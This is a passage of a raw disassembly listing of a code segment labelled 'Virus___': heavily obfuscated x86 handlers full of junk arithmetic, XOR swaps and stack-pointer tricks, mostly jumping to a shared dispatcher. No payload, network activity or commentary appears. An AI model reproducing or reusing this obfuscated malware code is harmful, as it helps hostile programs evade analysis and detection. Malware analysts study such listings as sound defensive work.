		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp


loc_57FA8A:				; CODE XREF: Virus___:00588A24j
		push	esi
		mov	esi, ebx
		push	esi
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_58A84F
; ---------------------------------------------------------------------------


loc_57FA99:				; CODE XREF: Virus___:0058A35Fj
		or	eax, eax
		jz	loc_58F2C6
		push	dword ptr [edi+1Ch]
		jmp	loc_58A67B
; ---------------------------------------------------------------------------


loc_57FAA9:				; CODE XREF: Virus___:0058912Fj
		push	ebp
		push	288C6E41h
		mov	ebp, [esp]
		add	esp, 4
		sub	ebp, 288C6E3Dh
		push	ebp
		pop	ebx
		pop	ebp
		add	ebp, ebx
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	edx
		mov	edx, 66D8050Eh
		not	edx
		xor	edx, 9927FAF5h
		sub	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_585735
; ---------------------------------------------------------------------------


loc_57FAE3:				; CODE XREF: Virus___:0058E1FCj
		pop	edx
		inc	edi
		jmp	loc_58E92E
; ---------------------------------------------------------------------------


loc_57FAEA:				; CODE XREF: Virus___:00586B6Ej
		mov	edx, 2
		sub	esi, 3E8213EAh
		jmp	loc_58027A
; ---------------------------------------------------------------------------


loc_57FAFA:				; CODE XREF: Virus___:00587040j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_581B7A
; ---------------------------------------------------------------------------


loc_57FB0C:				; CODE XREF: Virus___:00582F86j
		pop	edx
		not	ebp
		sub	ebp, 0D1FADB52h
		jmp	loc_589141
; ---------------------------------------------------------------------------


loc_57FB1A:				; CODE XREF: Virus___:00581E83j
		push	eax
		push	edx
		jmp	loc_589811
; ---------------------------------------------------------------------------


loc_57FB21:				; CODE XREF: Virus___:0058318Bj
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		jmp	loc_589902
; ---------------------------------------------------------------------------


loc_57FB35:				; CODE XREF: Virus___:005868E7j
		or	edx, 7F4948D2h
		add	edx, 65CF32E9h
		jmp	loc_57FCE1
; ---------------------------------------------------------------------------


loc_57FB46:				; CODE XREF: Virus___:0058F5CAj
		pop	esi
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_58482D
; ---------------------------------------------------------------------------


loc_57FB52:				; CODE XREF: Virus___:0058AE93j
		mov	edx, ebp
		jmp	loc_592EE8
; ---------------------------------------------------------------------------


loc_57FB59:				; CODE XREF: Virus___:0058D4D6j
		xor	bl, 2Fh
		sub	al, bl
		pop	ebx
		sub	al, 0ACh
		sub	al, dl
		jmp	loc_5806C6
; ---------------------------------------------------------------------------


loc_57FB68:				; CODE XREF: Virus___:00591735j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_57FB6D:				; CODE XREF: Virus___:0058F20Dj
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		cmp	ecx, eax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_57FB7E:				; CODE XREF: Virus___:0058D29Fj
		pop	bx
		sub	al, 0DAh
		add	al, 9Dh
		sub	al, bl
		sub	al, 9Dh
		push	edx
		mov	dh, 0D9h
		shl	dh, 6
		jmp	loc_588C48
; ---------------------------------------------------------------------------


loc_57FB93:				; CODE XREF: Virus___:005885F5j
		mov	ebx, 31A85709h
		jmp	loc_581FC3
; ---------------------------------------------------------------------------


loc_57FB9D:				; CODE XREF: Virus___:00589628j
		xor	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		and	eax, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		or	eax, eax
		jz	loc_590FB6
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		jmp	loc_591C92
; ---------------------------------------------------------------------------


loc_57FBD3:				; CODE XREF: Virus___:00591592j
		pop	eax
		add	esp, 4
		push	240Fh
		mov	[esp], eax
		push	4756h
		mov	[esp], ebx
		jmp	loc_583FB4
; ---------------------------------------------------------------------------
		lodsb
		push	ebx
		mov	bl, 0B8h
		shr	bl, 1
		inc	bl
		jmp	loc_58F4B7
; ---------------------------------------------------------------------------


loc_57FBF9:				; CODE XREF: Virus___:00593281j
		xor	edx, [esp]
		pop	esp


loc_57FBFD:				; CODE XREF: Virus___:0058C2F0j
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_58CEEF
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	3EC9h
		mov	[esp], ebp
		push	esp
		jmp	loc_584CB8
; ---------------------------------------------------------------------------


loc_57FC3E:				; CODE XREF: Virus___:005859ADj
		neg	ecx
		xor	ecx, 0B517869Ch
		add	ebp, ecx
		pop	ecx
		xchg	ebp, [esp]
		jmp	loc_58A364
; ---------------------------------------------------------------------------


loc_57FC51:				; CODE XREF: Virus___:00592741j
		xchg	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		mov	ah, 2Ah
		push	ecx
		mov	ch, 3Ah
		dec	ch
		not	ch
		sub	ch, 38h
		add	bl, ch
		pop	ecx
		add	bl, 6Bh
		jmp	loc_58F154
; ---------------------------------------------------------------------------


loc_57FC71:				; CODE XREF: Virus___:0058ADE0j
		pop	ecx
		push	edx
		mov	edx, 2CA80CF0h
		jmp	loc_588E84
; ---------------------------------------------------------------------------


loc_57FC7D:				; CODE XREF: Virus___:0058E17Bj
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_58330E
; ---------------------------------------------------------------------------


loc_57FC94:				; CODE XREF: Virus___:0058B21Ej
		pop	ecx
		add	edx, 5F77345h
		add	eax, edx
		pop	edx
		jmp	loc_58CA1A
; ---------------------------------------------------------------------------


loc_57FCA3:				; CODE XREF: Virus___:00590F64j
		push	225D44F0h
		pop	ecx
		shr	ecx, 5
		jmp	loc_58A4EE
; ---------------------------------------------------------------------------


loc_57FCB1:				; CODE XREF: Virus___:0058DB4Cj
		mov	edi, 4
		mov	edx, edi
		jmp	loc_58EA41
; ---------------------------------------------------------------------------


loc_57FCBD:				; CODE XREF: Virus___:0059071Dj
		sub	ebx, ebp
		pop	ebp
		jmp	loc_586133
; ---------------------------------------------------------------------------


loc_57FCC5:				; CODE XREF: Virus___:0058A8E4j
		and	eax, 2A636943h
		jmp	loc_592CEA
; ---------------------------------------------------------------------------


loc_57FCCF:				; CODE XREF: Virus___:005919ABj
		pop	ebp
		sub	eax, 7C60BC2h
		pop	ebp
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_586D1B
; ---------------------------------------------------------------------------


loc_57FCE1:				; CODE XREF: Virus___:0057FB41j
		push	ebx
		jmp	loc_584B53
; ---------------------------------------------------------------------------


loc_57FCE7:				; CODE XREF: Virus___:0058EF62j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_57FCF7:				; CODE XREF: Virus___:0058D41Cj
		inc	eax
		not	eax
		shr	eax, 7
		xor	eax, 7027E4F5h
		add	ebx, eax
		mov	eax, [esp]
		jmp	loc_58B2B7
; ---------------------------------------------------------------------------


loc_57FD0C:				; CODE XREF: Virus___:00583151j
		pop	ebp
		add	edx, ecx
		jmp	loc_5852FF
; ---------------------------------------------------------------------------


loc_57FD14:				; CODE XREF: Virus___:00581C4Fj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	4311h
		mov	[esp], edx
		mov	edx, 211E1BFFh
		add	edx, 3F265AB3h
		xor	edx, 51BC25A5h
		push	ebp
		mov	ebp, 0F7007D9Bh
		add	edx, ebp
		pop	ebp
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	eax, 45FA1336h
		sub	eax, esi
		sub	eax, 45FA1336h
		pop	esi
		push	edx
		jmp	loc_593373
; ---------------------------------------------------------------------------


loc_57FD60:				; CODE XREF: Virus___:005858EAj
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_58FF8C
; ---------------------------------------------------------------------------


loc_57FD6F:				; CODE XREF: Virus___:00583ABBj
		add	[esp+4], ecx
		jmp	loc_581B55
; ---------------------------------------------------------------------------


loc_57FD78:				; CODE XREF: Virus___:0058385Ej
		not	edi
		add	edi, 0FAC313C6h
		add	eax, edi
		pop	edi
		add	eax, 4
		push	36D9h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_58B31A
; ---------------------------------------------------------------------------


loc_57FD9A:				; CODE XREF: Virus___:0059371Aj
		add	ebp, 1054159Dh
		add	ebp, esi
		sub	ebp, 1054159Dh
		pop	esi
		push	edx
		mov	edx, 176F1F3Eh
		jmp	loc_58F763
; ---------------------------------------------------------------------------


loc_57FDB4:				; CODE XREF: Virus___:0058869Fj
		add	ax, 0A482h
		push	731Ah
		mov	[esp], edx
		mov	dx, ax
		mov	cx, dx
		pop	edx
		mov	eax, [esp]
		push	ebp
		push	1A36h
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	ebp
		jmp	loc_587551
; ---------------------------------------------------------------------------


loc_57FDE1:				; CODE XREF: Virus___:00580445j
		add	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		pop	esp
		add	ebx, edi
		push	287Dh
		jmp	loc_591AA4
; ---------------------------------------------------------------------------


loc_57FDF4:				; CODE XREF: Virus___:00582F98j
		mov	[esp], ebx
		push	esp
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_58E63C
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		jmp	loc_585C9B
; ---------------------------------------------------------------------------


loc_57FE20:				; CODE XREF: Virus___:0058F5F6j
		mov	[esp], edx
		mov	edx, 742379F4h
		sub	ebp, 7C6538AEh
		sub	ebp, edx
		push	ecx
		mov	ecx, 7C6538AEh
		add	ebp, ecx
		pop	ecx
		pop	edx
		and	eax, ebp
		push	dword ptr [esp]
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_5831E3
; ---------------------------------------------------------------------------


loc_57FE4B:				; CODE XREF: Virus___:0058CE19j
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_58328A
; ---------------------------------------------------------------------------


loc_57FE57:				; CODE XREF: Virus___:0058D9D7j
		xchg	ebx, [esp]
		pop	esp
		movzx	cx, al
		push	eax
		mov	eax, esp
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		jmp	loc_5886F1
; ---------------------------------------------------------------------------


loc_57FE70:				; CODE XREF: Virus___:005853E2j
		mov	[esp], ebx
		jmp	loc_582EB0
; ---------------------------------------------------------------------------


loc_57FE78:				; CODE XREF: Virus___:0058F192j
		not	ebx
		inc	ebx
		jmp	loc_5856B8
; ---------------------------------------------------------------------------


loc_57FE80:				; CODE XREF: Virus___:0058A6D1j
		add	esp, 4
		jmp	loc_580E73
; ---------------------------------------------------------------------------


loc_57FE88:				; CODE XREF: Virus___:005919A1j
		add	[esp+8], eax
		pop	eax
		jmp	loc_5932B0
; ---------------------------------------------------------------------------


loc_57FE92:				; CODE XREF: Virus___:0058DAFCj
		add	ecx, 11472BECh
		jmp	loc_5813AE
; ---------------------------------------------------------------------------


loc_57FE9D:				; CODE XREF: Virus___:00583ACAj
		push	2798h
		mov	[esp], ecx
		push	ebx
		mov	ebx, 2A9D6E5Eh
		dec	ebx
		add	ebx, 0FFFFFFFFh
		xor	ebx, 31CB5779h
		mov	ecx, ebx
		pop	ebx
		jmp	loc_58BA0E
; ---------------------------------------------------------------------------


loc_57FEC0:				; CODE XREF: Virus___:00589518j
		mov	dl, bh
		jmp	loc_58C270
; ---------------------------------------------------------------------------


loc_57FEC7:				; CODE XREF: Virus___:0058C5FFj
		push	79C7h
		mov	[esp], edi
		mov	edi, 71A46963h
		sub	[esp+8], edi
		pop	edi
		add	[esp+4], esi
		push	esi
		mov	esi, 71A46963h
		add	[esp+8], esi
		pop	esi
		jmp	loc_5842D0
; ---------------------------------------------------------------------------


loc_57FEED:				; CODE XREF: Virus___:00593774j
		pop	edx
		add	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, 1
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		sub	ebx, 5D3D37F5h
		add	eax, ebx
		jmp	loc_586938
; ---------------------------------------------------------------------------


loc_57FF10:				; CODE XREF: Virus___:00580F5Ej
		push	edx
		mov	edx, 23E07CC8h
		push	ebx
		mov	ebx, 0C7254FDh
		xor	edx, ebx
		jmp	loc_593874
; ---------------------------------------------------------------------------


loc_57FF23:				; CODE XREF: Virus___:0057F9E1j
		mov	ebp, ebx
		pop	ebx
		add	esi, ebp
		jmp	loc_58C6BF
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_59073C
; ---------------------------------------------------------------------------


loc_57FF35:				; CODE XREF: Virus___:00594100j
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	esi
		push	71D0h
		mov	[esp], esp
		jmp	loc_592A57
; ---------------------------------------------------------------------------


loc_57FF4F:				; CODE XREF: Virus___:00594450j
		and	ebp, 1E7B4ED4h
		xor	ebp, 6D984B66h
		jmp	loc_58314F
; ---------------------------------------------------------------------------


loc_57FF60:				; CODE XREF: Virus___:005840FCj
		shr	ebp, 1
		xor	ebp, 606169D9h
		and	ebp, 24DD68A0h
		xor	ebp, 36512FC6h
		sub	eax, ebp
		pop	ebp
		sub	eax, edi
		push	5949h
		mov	[esp], edx
		mov	edx, 168D07C6h
		add	eax, edx
		pop	edx
		pop	edi
		jmp	loc_58696B
; ---------------------------------------------------------------------------


loc_57FF8F:				; CODE XREF: Virus___:005912D7j
		pop	esi
		xchg	ebx, [esp]
		jmp	loc_593808
; ---------------------------------------------------------------------------


loc_57FF98:				; CODE XREF: Virus___:00581D5Fj
		pop	edx
		jmp	loc_589E67
; ---------------------------------------------------------------------------


loc_57FF9E:				; CODE XREF: Virus___:005880F2j
		add	ebp, 45AC70BFh
		add	ebp, eax
		sub	ebp, 45AC70BFh
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		push	dword ptr [eax]
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_57FFC4:				; CODE XREF: Virus___:00590CABj
		xor	ebx, [esp]
		mov	esp, [esp]
		push	edx
		push	ecx
		mov	ecx, 707C583Ah
		push	ebx
		push	edi
		mov	edi, 519943DCh
		sub	edi, 0A1FC9E5h
		mov	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		xor	ecx, ebx
		pop	ebx
		jmp	loc_58F000
; ---------------------------------------------------------------------------


loc_57FFF1:				; CODE XREF: Virus___:0058B54Bj
		pop	edx
		add	edx, 4
		sub	edx, 4
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		push	esp
		jmp	loc_592671
; ---------------------------------------------------------------------------


loc_58000E:				; CODE XREF: Virus___:00590C3Ej
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		push	ebp
		push	eax
		mov	eax, 73C31936h
		push	eax
		jmp	loc_58764B
; ---------------------------------------------------------------------------


loc_580027:				; CODE XREF: Virus___:0058BADEj
		shr	eax, 5
		shr	eax, 2
		jmp	loc_58ACBA
; ---------------------------------------------------------------------------


loc_580032:				; CODE XREF: Virus___:005894A7j
		add	bl, ch
		pop	ecx
		mov	eax, [esp]
		push	eax
		jmp	loc_58260D
; ---------------------------------------------------------------------------


loc_58003E:				; CODE XREF: Virus___:00583511j
		xor	[esp+4], eax
		pop	eax
		pop	edx
		push	esi
		mov	esi, 5A5478D5h
		jmp	loc_585C57
; ---------------------------------------------------------------------------


loc_58004F:				; CODE XREF: Virus___:0058BE4Bj
		sub	ebx, 5CCB27B8h
		jmp	loc_587C28
; ---------------------------------------------------------------------------


loc_58005A:				; CODE XREF: Virus___:00580D38j
		add	esp, 4
		push	eax
		jmp	loc_580DC1
; ---------------------------------------------------------------------------


loc_580063:				; CODE XREF: Virus___:0058F26Cj
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_5931A4
; ---------------------------------------------------------------------------


loc_580071:				; CODE XREF: Virus___:0058BD80j
		shl	ecx, 1
		sub	ecx, 7DBB3C41h
		sub	ebx, ecx
		mov	ecx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		shr	ebx, 7
		push	esi
		push	eax
		push	esi
		mov	esi, 11CACE3h
		mov	eax, esi
		mov	esi, [esp]
		add	esp, 4
		mov	esi, eax
		pop	eax
		sub	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		mov	esi, ebx
		jmp	loc_583C49
; ---------------------------------------------------------------------------


loc_5800B9:				; CODE XREF: Virus___:00592D95j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5800BE:				; CODE XREF: Virus___:00587AE7j
		xor	ebx, ecx
		xor	ecx, ebx
		xor	ebx, ecx
		jmp	loc_58585E
; ---------------------------------------------------------------------------


loc_5800C9:				; CODE XREF: Virus___:00593C0Fj
		mov	esp, [esp]
		push	edx
		jmp	loc_580D3D
; ---------------------------------------------------------------------------


loc_5800D2:				; CODE XREF: Virus___:00585C96j
		sub	edi, 73361A0h
		pop	esi
		xchg	edi, [esp]
		jmp	loc_5924DE
; ---------------------------------------------------------------------------


loc_5800E1:				; CODE XREF: Virus___:00587086j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	ax, [esp]
		push	7FA5h
		mov	[esp], edx
		push	296Eh
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_58C969
; ---------------------------------------------------------------------------


loc_580114:				; CODE XREF: Virus___:00581616j
		xor	ecx, 6F7721Ch
		jmp	loc_588C5D
; ---------------------------------------------------------------------------


loc_58011F:				; CODE XREF: Virus___:00593E3Bj
		neg	bh
		neg	bh
		jmp	loc_587E0D
; ---------------------------------------------------------------------------


loc_580128:				; CODE XREF: Virus___:0058766Ej
		push	esi
		mov	esi, 2
		sub	ebp, 45E36763h
		add	ebp, esi
		add	ebp, 45E36763h
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	6B99h
		jmp	loc_5877DD
; ---------------------------------------------------------------------------


loc_58014F:				; CODE XREF: Virus___:0058C45Dj
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edx
		jmp	loc_583F43
; ---------------------------------------------------------------------------


loc_580164:				; CODE XREF: Virus___:00583728j
		pop	ebx
		sub	al, 43h
		push	ebx
		mov	bh, 0Bh
		sub	al, 0D3h
		push	bx
		mov	bl, 0C3h
		add	al, bl
		jmp	loc_591279
; ---------------------------------------------------------------------------


loc_580177:				; CODE XREF: Virus___:0058AE08j
		xor	cl, 4Ah
		not	cl
		shr	cl, 1
		jmp	loc_58A112
; ---------------------------------------------------------------------------


loc_580183:				; CODE XREF: Virus___:00592F52j
		pop	edi
		push	25ABh
		mov	[esp], edx
		jmp	loc_57F4E0
; ---------------------------------------------------------------------------


loc_580191:				; CODE XREF: Virus___:00583180j
		push	ecx
		push	esi
		mov	esi, 7C6C4CC7h
		jmp	loc_589E80
; ---------------------------------------------------------------------------


loc_58019D:				; CODE XREF: Virus___:00587376j
		pop	esp
		pop	edx
		dec	cl
		and	cl, 0B4h
		push	ebx
		mov	bh, 37h
		jmp	loc_58CBA7
; ---------------------------------------------------------------------------


loc_5801AC:				; CODE XREF: Virus___:0058F187j
		mov	[esp], eax
		jmp	loc_582EE4
; ---------------------------------------------------------------------------


loc_5801B4:				; CODE XREF: Virus___:005896C2j
		mov	ecx, 4
		sub	edx, ecx
		pop	ecx
		xchg	edx, [esp]
		pop	esp
		push	11C8h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_591972
; ---------------------------------------------------------------------------


loc_5801D7:				; CODE XREF: Virus___:00580201j
		push	eax
		push	4E8Eh
		mov	[esp], edi
		mov	edi, 530D20B4h
		shl	edi, 3
		xor	edi, 0D71A74C8h
		jmp	loc_5921A6
; ---------------------------------------------------------------------------


loc_5801F3:				; CODE XREF: Virus___:00586723j
		sub	edx, 7A6D034Dh
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5801FE:				; CODE XREF: Virus___:00590502j
		mov	[esp], ebx
		jmp	loc_5801D7
; ---------------------------------------------------------------------------


loc_580206:				; CODE XREF: Virus___:005917A6j
		add	edi, esi
		jmp	loc_57F7FA
; ---------------------------------------------------------------------------


loc_58020D:				; CODE XREF: Virus___:00590D3Bj
		add	ebp, 0BF4A3022h
		and	ecx, ebp
		pop	ebp
		sub	ecx, 6001902h
		sub	esi, 31671DCh
		add	esi, ecx
		add	esi, 31671DCh
		mov	ecx, [esp]
		jmp	loc_58E2EC
; ---------------------------------------------------------------------------


loc_580232:				; CODE XREF: Virus___:0058EF10j
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_580237:				; CODE XREF: Virus___:0058AD8Cj
		pop	edx
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		push	78D1h
		mov	[esp], ebx
		push	1
		mov	ebx, [esp]
		add	esp, 4
		push	esi
		mov	esi, esp
		jmp	loc_5907A9
; ---------------------------------------------------------------------------


loc_58025D:				; CODE XREF: Virus___:00582A9Dj
		shr	eax, 4
		jmp	loc_5825FD
; ---------------------------------------------------------------------------


loc_580265:				; CODE XREF: Virus___:0058A403j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	2E41h
		mov	[esp], edx
		jmp	loc_58EEE2
; ---------------------------------------------------------------------------


loc_58027A:				; CODE XREF: Virus___:0057FAF5j
		add	esi, edx
		jmp	loc_58FC60
; ---------------------------------------------------------------------------


loc_580281:				; CODE XREF: Virus___:005923FFj
		add	esp, 4
		shr	eax, 12h
		xor	eax, ecx
		xor	eax, ecx
		xor	ecx, eax
		xor	eax, ecx
		xor	ecx, edx
		jmp	loc_588FAA
; ---------------------------------------------------------------------------


loc_580299:				; CODE XREF: Virus___:0058E4E2j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5874BC
; ---------------------------------------------------------------------------


loc_5802A4:				; CODE XREF: Virus___:00593378j
		mov	[esp], edi
		mov	edi, 0BDB35ABh
		and	edi, 12DD14BDh
		not	edi
		dec	edi
		push	ecx
		mov	ecx, 70B33BCh
		add	edi, ecx
		pop	ecx
		shr	edi, 7
		jmp	loc_58F383
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_5813B8
; ---------------------------------------------------------------------------


loc_5802CF:				; CODE XREF: Virus___:0058807Fj
		sar	dword ptr [esp], cl
		pushf
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_5802D8:				; CODE XREF: Virus___:00584D5Aj
		push	edx
		not	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_590350
; ---------------------------------------------------------------------------


loc_5802E4:				; CODE XREF: Virus___:00584871j
		mov	edx, 43F97F4Fh
		add	edx, 6C6A457Eh
		add	edx, 9988120Dh
		xor	esi, edx
		jmp	loc_5928CA
; ---------------------------------------------------------------------------


loc_5802FC:				; CODE XREF: Virus___:0057F9E9j
		sub	edi, 16D83AFCh
		add	ebx, 8D31BCEh
		add	ebx, 7DAE5AA9h
		add	ebx, edi
		sub	ebx, 7DAE5AA9h
		push	edi
		jmp	loc_58B592
; ---------------------------------------------------------------------------


loc_58031C:				; CODE XREF: Virus___:00584F0Bj
		push	edx
		push	edi
		push	ebx
		mov	ebx, 2F437A9Dh
		jmp	loc_584C6D
; ---------------------------------------------------------------------------


loc_580329:				; CODE XREF: Virus___:0058860Dj
		pop	esp
		jmp	loc_590AB1
; ---------------------------------------------------------------------------


loc_58032F:				; CODE XREF: Virus___:0058676Aj
		sub	dl, bh
		jmp	loc_588178
; ---------------------------------------------------------------------------


loc_580336:				; CODE XREF: Virus___:0058F721j
		push	ebp
		dec	dword ptr [esp]
		not	dword ptr [esp]
		jmp	loc_58C9D9
; ---------------------------------------------------------------------------


loc_580342:				; CODE XREF: Virus___:00582C32j
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_5874C5
; ---------------------------------------------------------------------------


loc_580351:				; CODE XREF: Virus___:00593D9Cj
		inc	edi
		jmp	loc_589E4B
; ---------------------------------------------------------------------------


loc_580357:				; CODE XREF: Virus___:005850A9j
		pop	esp
		mov	[esp], esi
		mov	esi, 62DB7277h
		xor	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_58C32B
; ---------------------------------------------------------------------------


loc_580371:				; CODE XREF: Virus___:0058A55Bj
		mov	esp, [esp]
		mov	[esp], cx
		sub	esp, 4
		jmp	loc_5814C4
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ch, 60h
		sub	esp, 4
		mov	[esp], edx
		mov	dh, 0C0h
		push	1658h
		mov	[esp], ecx
		mov	ch, 2Ah
		jmp	loc_58CECC
; ---------------------------------------------------------------------------


loc_5803A9:				; CODE XREF: Virus___:00583D14j
		add	edi, 314A0D3Bh
		add	edi, eax
		sub	edi, 314A0D3Bh
		push	ebp
		mov	ebp, 7D810FA2h
		dec	ebp
		inc	ebp
		add	ebp, 14072052h
		push	esi
		mov	esi, 160E7406h
		shr	esi, 4
		shl	esi, 3
		sub	esi, 4DE17184h
		sub	esi, 2E59E183h
		add	ebp, esi
		pop	esi
		add	edi, ebp
		pop	ebp
		pop	eax
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_58762B
; ---------------------------------------------------------------------------


loc_5803F8:				; CODE XREF: Virus___:0057F8FBj
		sub	esp, 4
		mov	[esp], ebp
		push	ebx
		mov	ebx, 18C54161h
		jmp	loc_582B34
; ---------------------------------------------------------------------------


loc_58040C:				; CODE XREF: Virus___:0058509Bj
		shl	eax, cl
		push	edx
		jmp	loc_58F204
; ---------------------------------------------------------------------------


loc_580414:				; CODE XREF: Virus___:00591D6Dj
		push	small 392Ch
		mov	[esp], cx
		jmp	loc_57F37C
; ---------------------------------------------------------------------------


loc_580421:				; CODE XREF: Virus___:00583FE6j
		mov	[esp], eax
		push	edx
		jmp	loc_584792
; ---------------------------------------------------------------------------


loc_58042A:				; CODE XREF: Virus___:00584FB5j
		push	1B41h
		mov	[esp], edi
		jmp	loc_58590A
; ---------------------------------------------------------------------------


loc_580437:				; CODE XREF: Virus___:0058E193j
		push	esp
		pop	ebx
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		jmp	loc_57FDE1
; ---------------------------------------------------------------------------


loc_58044A:				; CODE XREF: Virus___:00593AC8j
		pop	eax
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], ebx
		mov	bh, 0F2h
		xchg	cl, bh
		xchg	ah, cl
		jmp	loc_58428B
; ---------------------------------------------------------------------------


loc_580465:				; CODE XREF: Virus___:00591D35j
		pop	ebx
		jmp	loc_59356B
; ---------------------------------------------------------------------------


loc_58046B:				; CODE XREF: Virus___:00587C4Ej
		pop	ebx
		xor	ecx, ebx
		pop	ebx
		mov	esi, ecx
		jmp	loc_583062
; ---------------------------------------------------------------------------


loc_580476:				; CODE XREF: Virus___:00582277j
		sub	ebp, 6E5136FCh
		add	ecx, ebp
		jmp	loc_58CCD8
; ---------------------------------------------------------------------------


loc_580483:				; CODE XREF: Virus___:0059333Fj
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	esi
		jmp	loc_58398F
; ---------------------------------------------------------------------------


loc_580492:				; CODE XREF: Virus___:005915C0j
		add	eax, edi
		jmp	loc_5845D6
; ---------------------------------------------------------------------------


loc_580499:				; CODE XREF: Virus___:005810B6j
		sub	dl, 5Ah
		not	dl
		sub	dl, 85h
		sub	bl, dl
		pop	edx
		push	ecx
		mov	cl, 0FCh
		jmp	loc_5832B5
; ---------------------------------------------------------------------------


loc_5804AC:				; CODE XREF: Virus___:00592AB9j
		pop	ebp
		push	edi
		mov	edi, 756D2E99h
		sub	edx, edi
		pop	edi
		push	7D9Eh
		mov	[esp], ebp
		jmp	loc_585AA8
; ---------------------------------------------------------------------------


loc_5804C3:				; CODE XREF: Virus___:0059317Ej
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_58A99A
; ---------------------------------------------------------------------------


loc_5804CE:				; CODE XREF: Virus___:005852E8j
		mov	[esp], ax
		push	small word ptr [esp+2]
		mov	ax, [esp]
		jmp	loc_588A55
; ---------------------------------------------------------------------------


loc_5804E0:				; CODE XREF: Virus___:005846C0j
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	466h
		mov	[esp], eax
		push	28F2h
		jmp	loc_589506
; ---------------------------------------------------------------------------


loc_5804FB:				; CODE XREF: Virus___:005844F9j
		add	ecx, 0F63D1CF2h
		jmp	loc_58D411
; ---------------------------------------------------------------------------


